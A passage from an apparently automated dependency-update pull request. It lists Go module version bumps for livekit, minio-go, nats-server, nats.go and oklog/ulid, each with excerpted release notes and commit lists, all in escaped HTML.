href=\"https://github.com/alexlivekit\"\u003e\u003ccode\u003e@​alexlivekit\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.44.0\u003c/h2\u003e\n\u003ch3\u003eMinor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd numbers field to SIPDispatchRuleInfo for filtering calls by called number - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1351\"\u003e#1351\u003c/a\u003e (\u003ca href=\"https://github.com/civilcoder55\"\u003e\u003ccode\u003e@​civilcoder55\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003eAdd auto_subscribe_data_track to StartSession. - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1366\"\u003e#1366\u003c/a\u003e (\u003ca href=\"https://github.com/boks1971\"\u003e\u003ccode\u003e@​boks1971\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAdd TextMessageRequest and TextMessageResponse - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1349\"\u003e#1349\u003c/a\u003e (\u003ca href=\"https://github.com/longcw\"\u003e\u003ccode\u003e@​longcw\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eAdd featureinfo nested field for reporting noise cancellation feature specific metadata - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1367\"\u003e#1367\u003c/a\u003e (\u003ca href=\"https://github.com/1egoman\"\u003e\u003ccode\u003e@​1egoman\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eOption to control auto subscribe of data tracks. - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1365\"\u003e#1365\u003c/a\u003e (\u003ca href=\"https://github.com/boks1971\"\u003e\u003ccode\u003e@​boks1971\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eChanging the wording on duplicate dispatch rule error message - \u003ca href=\"https://redirect.github.com/livekit/protocol/pull/1343\"\u003e#1343\u003c/a\u003e (\u003ca href=\"https://github.com/alexlivekit\"\u003e\u003ccode\u003e@​alexlivekit\u003c/code\u003e\u003c/a\u003e)\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/livekit/protocol/commits/v1.45.3\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/livekit/server-sdk-go/v2` from 2.13.3 to 2.16.2\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/livekit/server-sdk-go/commit/677c01ec5a6dbbe185bd35b0a90a65c41e10eba1\"\u003e\u003ccode\u003e677c01e\u003c/code\u003e\u003c/a\u003e bump version to 2.16.2 (\u003ca href=\"https://redirect.github.com/livekit/server-sdk-go/issues/885\"\u003e#885\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/livekit/server-sdk-go/commit/e74087ae453e984fe000b7da818dcc77aceaf05f\"\u003e\u003ccode\u003ee74087a\u003c/code\u003e\u003c/a\u003e Update go deps (\u003ca href=\"https://redirect.github.com/livekit/server-sdk-go/issues/814\"\u003e#814\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/livekit/server-sdk-go/commit/a23b81de618a8da34fc5088fd322c0086edb412d\"\u003e\u003ccode\u003ea23b81d\u003c/code\u003e\u003c/a\u003e chore: pin GHA by commit, switch to golangci-lint (\u003ca href=\"https://redirect.github.com/livekit/server-sdk-go/issues/884\"\u003e#884\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/livekit/server-sdk-go/commit/1a80e8d8050bb0be71f7456746eb067666b0a868\"\u003e\u003ccode\u003e1a80e8d\u003c/code\u003e\u003c/a\u003e support byoc for cloud agents (\u003ca href=\"https://redirect.github.com/livekit/server-sdk-go/issues/875\"\u003e#875\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/livekit/server-sdk-go/commit/36135a79a9659703730f41a1b1ae8b34444211ad\"\u003e\u003ccode\u003e36135a7\u003c/code\u003e\u003c/a\u003e fix bug where projects with \u0026quot;localhost\u0026quot; in the URL are misrouted (\u003ca href=\"https://redirect.github.com/livekit/server-sdk-go/issues/882\"\u003e#882\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/livekit/server-sdk-go/commit/520301008ec56f34aa43533f9000a4065959e6cf\"\u003e\u003ccode\u003e5203010\u003c/code\u003e\u003c/a\u003e Skip nil backupcodec when unpublishing track (\u003ca href=\"https://redirect.github.com/livekit/server-sdk-go/issues/883\"\u003e#883\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/livekit/server-sdk-go/commit/5d1134a5dc76195849c90e0b9f2511342fca0f78\"\u003e\u003ccode\u003e5d1134a\u003c/code\u003e\u003c/a\u003e feat(PCMLocalTrack): add option to grab track and hw stats (\u003ca href=\"https://redirect.github.com/livekit/server-sdk-go/issues/879\"\u003e#879\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/livekit/server-sdk-go/commit/0e768d89e550c5ee757b1ccbae5b93e6be400e99\"\u003e\u003ccode\u003e0e768d8\u003c/code\u003e\u003c/a\u003e Option to provide logger in ConnectOption. (\u003ca href=\"https://redirect.github.com/livekit/server-sdk-go/issues/876\"\u003e#876\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/livekit/server-sdk-go/commit/dbb96cc2c41664fb333c1e2df512434604b48127\"\u003e\u003ccode\u003edbb96cc\u003c/code\u003e\u003c/a\u003e Add AgentSimulationClient and CreateSourceZip (\u003ca href=\"https://redirect.github.com/livekit/server-sdk-go/issues/874\"\u003e#874\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/livekit/server-sdk-go/commit/65a5784516d65abf1989aace23804727c2dad5f7\"\u003e\u003ccode\u003e65a5784\u003c/code\u003e\u003c/a\u003e Bumping media-sdk (\u003ca href=\"https://redirect.github.com/livekit/server-sdk-go/issues/872\"\u003e#872\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/livekit/server-sdk-go/compare/v2.13.3...v2.16.2\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/minio/minio-go/v7` from 7.0.98 to 7.0.100\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/minio/minio-go/commit/570a610f8e0206d0bcbd00d521fa9da210f26a1d\"\u003e\u003ccode\u003e570a610\u003c/code\u003e\u003c/a\u003e Add ChecksumAlgorithm to list response (\u003ca href=\"https://redirect.github.com/minio/minio-go/issues/2211\"\u003e#2211\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/minio/minio-go/commit/9ab4afb052fcdbfa8491336c81e1ffca3772e2ff\"\u003e\u003ccode\u003e9ab4afb\u003c/code\u003e\u003c/a\u003e Update signature of UpdateObjectEncryption (\u003ca href=\"https://redirect.github.com/minio/minio-go/issues/2215\"\u003e#2215\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/minio/minio-go/commit/30849ad849102d5ea8d18b6ee93127607f46c616\"\u003e\u003ccode\u003e30849ad\u003c/code\u003e\u003c/a\u003e fix: honor StartAfter when listing object versions (\u003ca href=\"https://redirect.github.com/minio/minio-go/issues/2212\"\u003e#2212\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/minio/minio-go/commit/2eacfe97024cf441b51220f439a7dd1651be9cce\"\u003e\u003ccode\u003e2eacfe9\u003c/code\u003e\u003c/a\u003e add SignV4WithServiceType function (\u003ca href=\"https://redirect.github.com/minio/minio-go/issues/2214\"\u003e#2214\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/minio/minio-go/commit/dedfa39141e1eb0a0687a2c44a4dab7b6a9deefa\"\u003e\u003ccode\u003ededfa39\u003c/code\u003e\u003c/a\u003e tags: add MarshalJSON/UnmarshalJSON to Tags\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/minio/minio-go/commit/4976cb36eae896a871612c1c93782a13aa64f8a9\"\u003e\u003ccode\u003e4976cb3\u003c/code\u003e\u003c/a\u003e get content encoding when available (\u003ca href=\"https://redirect.github.com/minio/minio-go/issues/2208\"\u003e#2208\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/minio/minio-go/commit/d75e965f5fca625630ca287613d82b61726cd98c\"\u003e\u003ccode\u003ed75e965\u003c/code\u003e\u003c/a\u003e add S3 Outposts support: Implement request signing and endpoint validation fo...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/minio/minio-go/commit/d00bd2f280d84bddcc1a79de3fd67d1be55bcd1e\"\u003e\u003ccode\u003ed00bd2f\u003c/code\u003e\u003c/a\u003e Fix: handling non-DualStack regions gracefully (\u003ca href=\"https://redirect.github.com/minio/minio-go/issues/2205\"\u003e#2205\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/minio/minio-go/commit/c44cb2ab494db3a58ca2a07b47f674421c6d9350\"\u003e\u003ccode\u003ec44cb2a\u003c/code\u003e\u003c/a\u003e Fix PutObject and ConcurrentStreamParts error handling for empty stream  (\u003ca href=\"https://redirect.github.com/minio/minio-go/issues/2207\"\u003e#2207\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/minio/minio-go/commit/14511626b2ee43c227fe09c08064c733b5334809\"\u003e\u003ccode\u003e1451162\u003c/code\u003e\u003c/a\u003e Fix object ReadAt performs seek (\u003ca href=\"https://redirect.github.com/minio/minio-go/issues/2197\"\u003e#2197\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/minio/minio-go/compare/v7.0.98...v7.0.100\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/nats-io/nats-server/v2` from 2.12.6 to 2.12.7\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nats-io/nats-server/releases\"\u003egithub.com/nats-io/nats-server/v2's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease v2.12.7\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003cp\u003eRefer to the \u003ca href=\"https://docs.nats.io/release-notes/whats_new/whats_new_212\"\u003e2.12 Upgrade Guide\u003c/a\u003e for backwards compatibility notes with 2.11.x.\u003c/p\u003e\n\u003ch3\u003eGo Version\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e1.25.9 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8017\"\u003e#8017\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDependencies\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003egithub.com/nats-io/nats.go v1.50.0 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8000\"\u003e#8000\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCVEs\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eTBD\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImproved\u003c/h3\u003e\n\u003cp\u003eJetStream\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ePurging subjects from a stream now only loads filestore blocks within the range of where those subjects appear (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8004\"\u003e#8004\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMulti-filtered load next or previous message code paths now correctly identify single subject filters or full wildcards and switch to optimized paths (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8012\"\u003e#8012\u003c/a\u003e, 8013)\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003emax_mem_store\u003c/code\u003e and \u003ccode\u003emax_file_store\u003c/code\u003e configuration options can now be increased (but not decreased) via config reload (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8014\"\u003e#8014\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cp\u003eGeneral\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003eno_auth_user\u003c/code\u003e is now restricted to client connections only\u003c/li\u003e\n\u003cli\u003eOverlapping wildcard patterns in ACL \u003ccode\u003edeny\u003c/code\u003e patterns are now enforced correctly\u003c/li\u003e\n\u003cli\u003eQueue subscriptions can no longer incorrectly bypass non-queue ACL \u003ccode\u003edeny\u003c/code\u003e patterns\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eLeafnodes\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003ePre-\u003ccode\u003eCONNECT\u003c/code\u003e guard improvements for leafnode connections, fixing a potential panic\u003c/li\u003e\n\u003cli\u003eACL permissions are now correctly enforced for inbound leaf messages in all cases\u003c/li\u003e\n\u003cli\u003eDuplicate \u003ccode\u003eINFO\u003c/code\u003e permissions updates are now only accepted for solicited leaf connections\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003emax_payload\u003c/code\u003e limit is now correctly enforced for leafnode connections\u003c/li\u003e\n\u003cli\u003eA panic on leafnode connect when failing to resolve an account has been fixed (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7991\"\u003e#7991\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eJetStream\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eConsumer \u003ccode\u003emax_ack_pending\u003c/code\u003e should no longer become stuck due to deleted messages being left in the consumer pending state (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/7984\"\u003e#7984\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eWhen scaling up a stream and adding subjects at the same time, the new subject filters are now correctly subscribed (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8003\"\u003e#8003\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFilestore caches are no longer expired and evicted from memory too eagerly after a recent write (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8009\"\u003e#8009\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eStream leaders can catch up from a snapshot if required (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/8021\"\u003e#8021\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eMQTT\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/b4ce0f990e42bc6f24df0c40eafbc4c8a2ac5b6c\"\u003e\u003ccode\u003eb4ce0f9\u003c/code\u003e\u003c/a\u003e Release v2.12.7\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/195b07aab04f8f54fc80630d4405350e31b90839\"\u003e\u003ccode\u003e195b07a\u003c/code\u003e\u003c/a\u003e Fix fast-path \u003ccode\u003eno_auth_user\u003c/code\u003e for WebSockets where WS-specific account configured\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/213391e90f57883e6977479931c7ae638c0678af\"\u003e\u003ccode\u003e213391e\u003c/code\u003e\u003c/a\u003e [FIXED] Stream leader can catchup from snapshot if required\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/e0b0bdac0b512ac6812a3e29def379dd09010149\"\u003e\u003ccode\u003ee0b0bda\u003c/code\u003e\u003c/a\u003e Release v2.12.7-RC.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/d2c6139a8d85ccf9bb9a11eaad68f7f69eef0ac0\"\u003e\u003ccode\u003ed2c6139\u003c/code\u003e\u003c/a\u003e Cherry-picks for 2.12.7-RC.3 (\u003ca href=\"https://redirect.github.com/nats-io/nats-server/issues/79\"\u003e#79\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/97a3f84f51195e9466e0332fcb5c262b416aadbf\"\u003e\u003ccode\u003e97a3f84\u003c/code\u003e\u003c/a\u003e Update to Go 1.25.9\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/a824f30c890d970fd64abc0b7fdf94a0aaa1d72a\"\u003e\u003ccode\u003ea824f30\u003c/code\u003e\u003c/a\u003e [IMPROVED] Allow reloading increased max memory and store\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/56548be07bc406fbccd31b130a54cb07d0b0066c\"\u003e\u003ccode\u003e56548be\u003c/code\u003e\u003c/a\u003e \u003ccode\u003eLoadNextMsgMulti\u003c/code\u003e and \u003ccode\u003eLoadPrevMsgMulti\u003c/code\u003e use fast path for single filter\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/b1776c639c1112ee108341a4739460595fc87fd5\"\u003e\u003ccode\u003eb1776c6\u003c/code\u003e\u003c/a\u003e Add \u003ccode\u003eMatchesSingleFilter\u003c/code\u003e to generic sublist\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats-server/commit/807d653bf56bf8d417b93f47a6a6ea883d5b5493\"\u003e\u003ccode\u003e807d653\u003c/code\u003e\u003c/a\u003e Complete filtered \u003ccode\u003eLoadPrevMsg\u003c/code\u003e implementation\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nats-io/nats-server/compare/v2.12.6...v2.12.7\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/nats-io/nats.go` from 1.49.0 to 1.50.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/nats-io/nats.go/releases\"\u003egithub.com/nats-io/nats.go's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eRelease v1.50.0\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003ch3\u003eFIXED\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCore NATS:\n\u003cul\u003e\n\u003cli\u003eFix WebSocket close frame discarding buffered data frames (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2032\"\u003e#2032\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eJetStream:\n\u003cul\u003e\n\u003cli\u003eRemove status listener in Consume()/Messages() cleanup. Thanks \u003ca href=\"https://github.com/txuna\"\u003e\u003ccode\u003e@​txuna\u003c/code\u003e\u003c/a\u003e for the contribution (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/1993\"\u003e#1993\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix race condition in \u003ccode\u003eorderedSubscription.Drain()\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2030\"\u003e#2030\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eOrderedConsumer.Consume()\u003c/code\u003e race in handler (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2043\"\u003e#2043\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eIMPROVED\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCore NATS:\n\u003cul\u003e\n\u003cli\u003eDe-flake TestAlwaysReconnectOnAccountMaxConnectionsExceededErr (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2042\"\u003e#2042\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eWrap EOF/connection reset errors with TLS context after handshake (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2031\"\u003e#2031\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eJetStream:\n\u003cul\u003e\n\u003cli\u003eReject control characters in stream and consumer names (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2038\"\u003e#2038\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd missing \u003ccode\u003eAccountLimits\u003c/code\u003e fields in \u003ccode\u003ejetstream\u003c/code\u003e package (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2041\"\u003e#2041\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix flaky TestConsumerPrioritized/messages test (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2033\"\u003e#2033\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eKeyValue:\n\u003cul\u003e\n\u003cli\u003eDeduplicate keys in KeyValue.Keys() and document ListKeys behavior (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2029\"\u003e#2029\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix flaky TestKeyValueWithSources (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2036\"\u003e#2036\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCHANGED\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eBump go version to 1.25 and update dependencies (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2044\"\u003e#2044\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2039\"\u003e#2039\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eComplete Changes\u003c/h3\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/nats-io/nats.go/compare/v1.49.0...v1.50.0\"\u003ehttps://github.com/nats-io/nats.go/compare/v1.49.0...v1.50.0\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/a76c5a924a065983a028ec64da43670200adb750\"\u003e\u003ccode\u003ea76c5a9\u003c/code\u003e\u003c/a\u003e Release v1.50.0 (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2045\"\u003e#2045\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/723972261a68b3f9f080dd91b0bdd0f061d073b5\"\u003e\u003ccode\u003e7239722\u003c/code\u003e\u003c/a\u003e [IMPROVED] Wrap EOF/connection reset errors with TLS context after handshake ...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/03c61d7177a9b741675cc4345b5ba408d6c2e1a8\"\u003e\u003ccode\u003e03c61d7\u003c/code\u003e\u003c/a\u003e [FIXED] WebSocket close frame discarding buffered data frames (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2032\"\u003e#2032\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/01214e2890cfc06ee0220c2429663b2e54a9012b\"\u003e\u003ccode\u003e01214e2\u003c/code\u003e\u003c/a\u003e [FIXED] Fixed OrderedConsumer.Consume race in handler (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2043\"\u003e#2043\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/31953ef9f98a5a45e0cb0829ab3acb8a0baebede\"\u003e\u003ccode\u003e31953ef\u003c/code\u003e\u003c/a\u003e [FIXED] Fix flaky TestKeyValueWithSources test (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2036\"\u003e#2036\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/a460b81aa6ccb73294a99b4655a0ec32bdb23878\"\u003e\u003ccode\u003ea460b81\u003c/code\u003e\u003c/a\u003e [IMPROVED] De-flake TestAlwaysReconnectOnAccountMaxConnectionsExceededErr (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2\"\u003e#2\u003c/a\u003e...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/1b893152ec8fbfec3318130483b2ccedd71b533f\"\u003e\u003ccode\u003e1b89315\u003c/code\u003e\u003c/a\u003e [FIXED] Fix flaky TestConsumerPrioritized/messages test (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2033\"\u003e#2033\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/192be1a8d69bc1589a7f14d6a0c16d9c40693da5\"\u003e\u003ccode\u003e192be1a\u003c/code\u003e\u003c/a\u003e [FIXED] Fix race condition in orderedSubscription.Drain() (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2030\"\u003e#2030\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/7f1bc42bcff932859c7193c70743ab820f2d6569\"\u003e\u003ccode\u003e7f1bc42\u003c/code\u003e\u003c/a\u003e [IMPROVED] Bump dependencies and go version (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2044\"\u003e#2044\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/nats-io/nats.go/commit/b7908eabab7b0d022dc62bcfc71503613f8299dc\"\u003e\u003ccode\u003eb7908ea\u003c/code\u003e\u003c/a\u003e Add missing AccountLimits fields in jetstream package (\u003ca href=\"https://redirect.github.com/nats-io/nats.go/issues/2041\"\u003e#2041\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/nats-io/nats.go/compare/v1.49.0...v1.50.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/oklog/ulid/v2` from 2.1.0 to 2.1.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/oklog/ulid/releases\"\u003egithub.com/oklog/ulid/v2's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev2.1.1\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eREADME fix broken pkg.go.dev links by \u003ca href=\"https://github.com/peteraba\"\u003e\u003ccode\u003e@​peteraba\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/oklog/ulid/pull/82\"\u003eoklog/ulid#82\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eREADME: fix small typos by \u003ca href=\"https://github.com/craigpastro\"\u003e\u003ccode\u003e@​craigpastro\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/oklog/ulid/pull/88\"\u003eoklog/ulid#88\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd fmt, vet, staticcheck to CI and lint accordingly by \u003ca href=\"https://github.com/craigpastro\"\u003e\u003ccode\u003e@​craigpastro\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/oklog/ulid/pull/89\"\u003eoklog/ulid#89\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eulid: add MakeFromTime helper function by \u003ca href=\"https://github.com/craigpastro\"\u003e\u003ccode\u003e@​craigpastro\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/oklog/ulid/pull/87\"\u003eoklog/ulid#87\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRefactor default entropy and fix test by \u003ca 